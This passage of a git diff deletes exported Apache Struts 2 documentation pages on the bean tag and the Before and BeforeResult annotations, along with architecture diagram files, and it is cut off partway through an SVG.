-  The value of foo is : [s:property value=&quot;foo&quot;/], when inside the bean tag.
-[/s:bean]
-
-&lt;-- in jsp form --&gt;
-&lt;s:bean name=&quot;org.apache.struts2.example.counter.SimpleCounter&quot; var=&quot;counter&quot;&gt;
-  &lt;s:param name=&quot;foo&quot; value=&quot;BAR&quot; /&gt;
-  The value of foot is : &lt;s:property value=&quot;foo&quot;/&gt;, when inside the bean tag &lt;br /&gt;
-&lt;/s:bean&gt;
-]]></script>
-</div></div>
-<p></p><p>This example instantiates a bean called SimpleCounter and sets the foo property (setFoo('BAR')). The
-SimpleCounter object is then pushed onto the Valuestack, which means that we can call its accessor methods (getFoo())
-with the Property tag and get their values.</p>
-
-<p></p><p>In the above example, the id has been set to a value of <i>counter</i>. This means that the SimpleCounter class
-will be placed into the stack's context. You can access the SimpleCounter class using a Struts tag:</p>
-
-<p></p><pre>
-&lt;-- jsp form --&gt;
-&lt;s:property value="#counter" /&gt;
-
-</pre><p>&lt;-- freemarker form --&gt;
-[s:property value="#counter.foo"/]
-</p>
-
-<p></p><p>In the property tag example, the <i>#</i> tells Ognl to search the context for the SimpleCounter class which has
-an id(key) of <i>counter</i></p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/before-annotation.html b/content/docs/before-annotation.html
deleted file mode 100644
index 3de59fc..0000000
--- a/content/docs/before-annotation.html
+++ /dev/null
@@ -1,183 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Before Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="before-annotation.html">Before Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Before Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14107">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14107">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14107">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14107">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14107">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14107">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<h1 id="BeforeAnnotation-BeforeAnnotation">Before Annotation</h1>
-
-<p>Marks a action method that needs to be executed before the main action method.</p>
-
-<h2 id="BeforeAnnotation-Usage">Usage</h2>
-
-<p>The Before annotation can be applied at method level.</p>
-
-
-<h2 id="BeforeAnnotation-Parameters">Parameters</h2>
-
-<p><table class="confluenceTable" summary=""><tr><th colspan="1" rowspan="1" class="confluenceTh"> Parameter </th><th colspan="1" rowspan="1" class="confluenceTh"> Required </th><th colspan="1" rowspan="1" class="confluenceTh"> Default </th><th colspan="1" rowspan="1" class="confluenceTh"> Notes </th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd">priority</td><td colspan="1" rowspan="1" class="confluenceTd">no</td><td colspan="1" rowspan="1" class="confluenceTd">10</td><td col [...]
-
-<h2 id="BeforeAnnotation-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-public class SampleAction extends ActionSupport {
-
- @Before
- public void isAuthorized() throws AuthenticationException {
-   // authorize request, throw exception if failed
- }
-
- public String execute() {
-    // perform secure action
-    return SUCCESS;
- }
-}
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/beforeresult-annotation.html b/content/docs/beforeresult-annotation.html
deleted file mode 100644
index eaa2a8a..0000000
--- a/content/docs/beforeresult-annotation.html
+++ /dev/null
@@ -1,183 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>BeforeResult Annotation</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="annotations.html">Annotations</a>&nbsp;&gt;&nbsp;<a href="beforeresult-annotation.html">BeforeResult Annotation</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">BeforeResult Annotation</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13902">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13902">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13902">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=13902">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13902">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=13902">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent">
-<h1 id="BeforeResultAnnotation-BeforeResultAnnotation">BeforeResult Annotation</h1>
-
-<p>Marks a action method that needs to be executed before the result. Return value is ignored.</p>
-
-<h2 id="BeforeResultAnnotation-Usage">Usage</h2>
-
-<p>The BeforeResult annotation can be applied at method level.</p>
-
-
-<h2 id="BeforeResultAnnotation-Parameters">Parameters</h2>
-
-<p><table class="confluenceTable" summary=""><tr><th colspan="1" rowspan="1" class="confluenceTh"> Parameter </th><th colspan="1" rowspan="1" class="confluenceTh"> Required </th><th colspan="1" rowspan="1" class="confluenceTh"> Default </th><th colspan="1" rowspan="1" class="confluenceTh"> Notes </th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd">priority</td><td colspan="1" rowspan="1" class="confluenceTd">no</td><td colspan="1" rowspan="1" class="confluenceTd">10</td><td col [...]
-
-<h2 id="BeforeResultAnnotation-Examples">Examples</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: java; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-public class SampleAction extends ActionSupport {
-
- @BeforeResult
- public void isValid() throws ValidationException {
-   // validate model object, throw exception if failed
- }
-
- public String execute() {
-    // perform action
-    return SUCCESS;
- }
-}
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/big-picture.data/S2-Architecture.ygf b/content/docs/big-picture.data/S2-Architecture.ygf
deleted file mode 100644
index 92a9002..0000000
Binary files a/content/docs/big-picture.data/S2-Architecture.ygf and /dev/null differ
diff --git a/content/docs/big-picture.data/Struts2-Architecture.png b/content/docs/big-picture.data/Struts2-Architecture.png
deleted file mode 100644
index dc4d5dd..0000000
Binary files a/content/docs/big-picture.data/Struts2-Architecture.png and /dev/null differ
diff --git a/content/docs/big-picture.data/arch.doc b/content/docs/big-picture.data/arch.doc
deleted file mode 100644
index ca6f76a..0000000
Binary files a/content/docs/big-picture.data/arch.doc and /dev/null differ
diff --git a/content/docs/big-picture.data/arch.png b/content/docs/big-picture.data/arch.png
deleted file mode 100644
index 2523994..0000000
Binary files a/content/docs/big-picture.data/arch.png and /dev/null differ
diff --git a/content/docs/big-picture.data/s2-arch-big-old.png b/content/docs/big-picture.data/s2-arch-big-old.png
deleted file mode 100644
index bf4e98f..0000000
Binary files a/content/docs/big-picture.data/s2-arch-big-old.png and /dev/null differ
diff --git a/content/docs/big-picture.data/s2-arch-old.png b/content/docs/big-picture.data/s2-arch-old.png
deleted file mode 100644
index 31527ce..0000000
Binary files a/content/docs/big-picture.data/s2-arch-old.png and /dev/null differ
diff --git a/content/docs/big-picture.data/s2-arch.png b/content/docs/big-picture.data/s2-arch.png
deleted file mode 100644
index f41e034..0000000
Binary files a/content/docs/big-picture.data/s2-arch.png and /dev/null differ
diff --git a/content/docs/big-picture.data/s2-architecture.svg b/content/docs/big-picture.data/s2-architecture.svg
deleted file mode 100644
index 38a8d76..0000000
--- a/content/docs/big-picture.data/s2-architecture.svg
+++ /dev/null
@@ -1,511 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" fill-opacity="1" color-rendering="auto" color-interpolation="auto" stroke="black" text-rendering="auto" stroke-linecap="square" width="928" stroke-miterlimit="10" stroke-opacity="1" shape-rendering="auto" fill="black" stroke-dasharray="none" font-weight="normal" stroke-width="1" height="926" font-family="'Dialog'" font-style="normal" stroke-linejoin="miter" font-size="12" stroke-dashoffset="0" image-render [...]
-  <!--Generated by ySVG-->
-  <defs id="genericDefs"/>
-  <g>
-    <defs id="defs1">
-      <linearGradient x1="-23.5938" gradientUnits="userSpaceOnUse" x2="-23.5938" y1="79" y2="121.5" id="linearGradient1" spreadMethod="pad">
-        <stop stop-opacity="1" stop-color="rgb(255,153,0)" offset="0%"/>
-        <stop stop-opacity="1" stop-color="rgb(255,153,0)" offset="100%"/>
-      </linearGradient>
-      <linearGradient x1="-23.5938" gradientUnits="userSpaceOnUse" x2="-23.5938" y1="129" y2="171.5" id="linearGradient2" spreadMethod="pad">
-        <stop stop-opacity="1" stop-color="rgb(255,153,0)" offset="0%"/>
-        <stop stop-opacity="1" stop-color="rgb(255,153,0)" offset="100%"/>
-      </linearGradient>
-      <linearGradient x1="-25" gradientUnits="userSpaceOnUse" x2="-25" y1="179" y2="221.5" id="linearGradient3" spreadMethod="pad">
-        <stop stop-opacity="1" stop-color="rgb(255,153,0)" offset="0%"/>
-        <stop stop-opacity="1" stop-color="rgb(255,153,0)" offset="100%"/>
-      </linearGradient>
-      <linearGradient x1="398.6825" gradientUnits="userSpaceOnUse" x2="398.6825" y1="10.1615" y2="62.6615" id="linearGradient4" spreadMethod="pad">
-        <stop stop-opacity="1" stop-color="silver" offset="0%"/>
-        <stop stop-opacity="1" stop-color="silver" offset="100%"/>
-      </linearGradient>
-      <linearGradient x1="575" gradientUnits="userSpaceOnUse" x2="575" y1="289" y2="371.5" id="linearGradient5" spreadMethod="pad">
-        <stop stop-opacity="1" stop-color="rgb(0,102,153)" offset="0%"/>
-        <stop stop-opacity="1" stop-color="rgb(0,102,153)" offset="100%"/>
-      </linearGradient>
-      <linearGradient x1="644.5464" gradientUnits="userSpaceOnUse" x2="644.5464" y1="10.1615" y2="62.6615" id="linearGradient6" spreadMethod="pad">
-        <stop stop-opacity="1" stop-color="silver" offset="0%"/>
-        <stop stop-opacity="1" stop-color="silver" offset="100%"/>
-      </linearGradient>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath1">
-        <path d="M0 0 L928 0 L928 926 L0 926 L0 0 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath2">
-        <path d="M-40 -49 L888 -49 L888 877 L-40 877 L-40 -49 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath3">
-        <path d="M-45 -54 L883 -54 L883 872 L-45 872 L-45 -54 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath4">
-        <path d="M-3.4062 -116 L924.5938 -116 L924.5938 810 L-3.4062 810 L-3.4062 -116 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath5">
-        <path d="M-1.311 -116 L33.0492 -116 L33.0492 810 L-1.311 810 L-1.311 -116 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath6">
-        <path d="M-899.6632 -116 L28.3368 -116 L28.3368 810 L-899.6632 810 L-899.6632 -116 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath7">
-        <path d="M-3.4062 -592 L924.5938 -592 L924.5938 3112 L-3.4062 3112 L-3.4062 -592 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath8">
-        <path d="M-899.6632 -592 L28.3368 -592 L28.3368 3112 L-899.6632 3112 L-899.6632 -592 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath9">
-        <path d="M-3.4062 -156 L924.5938 -156 L924.5938 770 L-3.4062 770 L-3.4062 -156 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath10">
-        <path d="M-1.311 -156 L33.0492 -156 L33.0492 770 L-1.311 770 L-1.311 -156 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath11">
-        <path d="M-899.6632 -156 L28.3368 -156 L28.3368 770 L-899.6632 770 L-899.6632 -156 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath12">
-        <path d="M-3.4062 -166 L924.5938 -166 L924.5938 760 L-3.4062 760 L-3.4062 -166 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath13">
-        <path d="M-1.311 -166 L33.0492 -166 L33.0492 760 L-1.311 760 L-1.311 -166 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath14">
-        <path d="M-899.6632 -166 L28.3368 -166 L28.3368 760 L-899.6632 760 L-899.6632 -166 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath15">
-        <path d="M-3.4062 -792 L924.5938 -792 L924.5938 2912 L-3.4062 2912 L-3.4062 -792 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath16">
-        <path d="M-899.6632 -792 L28.3368 -792 L28.3368 2912 L-899.6632 2912 L-899.6632 -792 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath17">
-        <path d="M-3.4062 -206 L924.5938 -206 L924.5938 720 L-3.4062 720 L-3.4062 -206 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath18">
-        <path d="M-1.311 -206 L33.0492 -206 L33.0492 720 L-1.311 720 L-1.311 -206 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath19">
-        <path d="M-899.6632 -206 L28.3368 -206 L28.3368 720 L-899.6632 720 L-899.6632 -206 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath20">
-        <path d="M-2 -216 L926 -216 L926 710 L-2 710 L-2 -216 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath21">
-        <path d="M-1.2568 -216 L33.0475 -216 L33.0475 710 L-1.2568 710 L-1.2568 -216 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath22">
-        <path d="M-899.6632 -216 L28.3368 -216 L28.3368 710 L-899.6632 710 L-899.6632 -216 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath23">
-        <path d="M-2 -992 L926 -992 L926 2712 L-2 2712 L-2 -992 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath24">
-        <path d="M-899.6632 -992 L28.3368 -992 L28.3368 2712 L-899.6632 2712 L-899.6632 -992 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath25">
-        <path d="M-2 -256 L926 -256 L926 670 L-2 670 L-2 -256 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath26">
-        <path d="M-1.2568 -256 L33.0475 -256 L33.0475 670 L-1.2568 670 L-1.2568 -256 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath27">
-        <path d="M-899.6632 -256 L28.3368 -256 L28.3368 670 L-899.6632 670 L-899.6632 -256 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath28">
-        <path d="M-425.6825 -47.1615 L502.3175 -47.1615 L502.3175 878.8385 L-425.6825 878.8385 L-425.6825 -47.1615 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath29">
-        <path d="M-74.6792 -47.1615 L76.7408 -47.1615 L76.7408 878.8385 L-74.6792 878.8385 L-74.6792 -47.1615 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath30">
-        <path d="M-653.7993 -47.1615 L274.2007 -47.1615 L274.2007 878.8385 L-653.7993 878.8385 L-653.7993 -47.1615 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath31">
-        <path d="M-425.6825 -140.7316 L502.3175 -140.7316 L502.3175 1505.4906 L-425.6825 1505.4906 L-425.6825 -140.7316 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath32">
-        <path d="M-653.7993 -140.7316 L274.2007 -140.7316 L274.2007 1505.4906 L-653.7993 1505.4906 L-653.7993 -140.7316 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath33">
-        <path d="M-425.6825 -97.1615 L502.3175 -97.1615 L502.3175 828.8385 L-425.6825 828.8385 L-425.6825 -97.1615 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath34">
-        <path d="M-74.6792 -97.1615 L76.7408 -97.1615 L76.7408 828.8385 L-74.6792 828.8385 L-74.6792 -97.1615 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath35">
-        <path d="M-653.7993 -97.1615 L274.2007 -97.1615 L274.2007 828.8385 L-653.7993 828.8385 L-653.7993 -97.1615 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath36">
-        <path d="M-602 -326 L326 -326 L326 600 L-602 600 L-602 -326 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath37">
-        <path d="M-103.4485 -326 L47.9714 -326 L47.9714 600 L-103.4485 600 L-103.4485 -326 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath38">
-        <path d="M-830.1168 -326 L97.8832 -326 L97.8832 600 L-830.1168 600 L-830.1168 -326 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath39">
-        <path d="M-602 -238.6667 L326 -238.6667 L326 378.6667 L-602 378.6667 L-602 -238.6667 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath40">
-        <path d="M-830.1168 -238.6667 L97.8832 -238.6667 L97.8832 378.6667 L-830.1168 378.6667 L-830.1168 -238.6667 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath41">
-        <path d="M-602 -406 L326 -406 L326 520 L-602 520 L-602 -406 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath42">
-        <path d="M-103.4485 -406 L47.9714 -406 L47.9714 520 L-103.4485 520 L-103.4485 -406 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath43">
-        <path d="M-830.1168 -406 L97.8832 -406 L97.8832 520 L-830.1168 520 L-830.1168 -406 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath44">
-        <path d="M-671.5464 -47.1615 L256.4536 -47.1615 L256.4536 878.8385 L-671.5464 878.8385 L-671.5464 -47.1615 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath45">
-        <path d="M-114.7963 -47.1615 L36.6237 -47.1615 L36.6237 878.8385 L-114.7963 878.8385 L-114.7963 -47.1615 Z"/>
-      </clipPath>
-      <clipPath clipPathUnits="userSpaceOnUse" id="clipPath46">
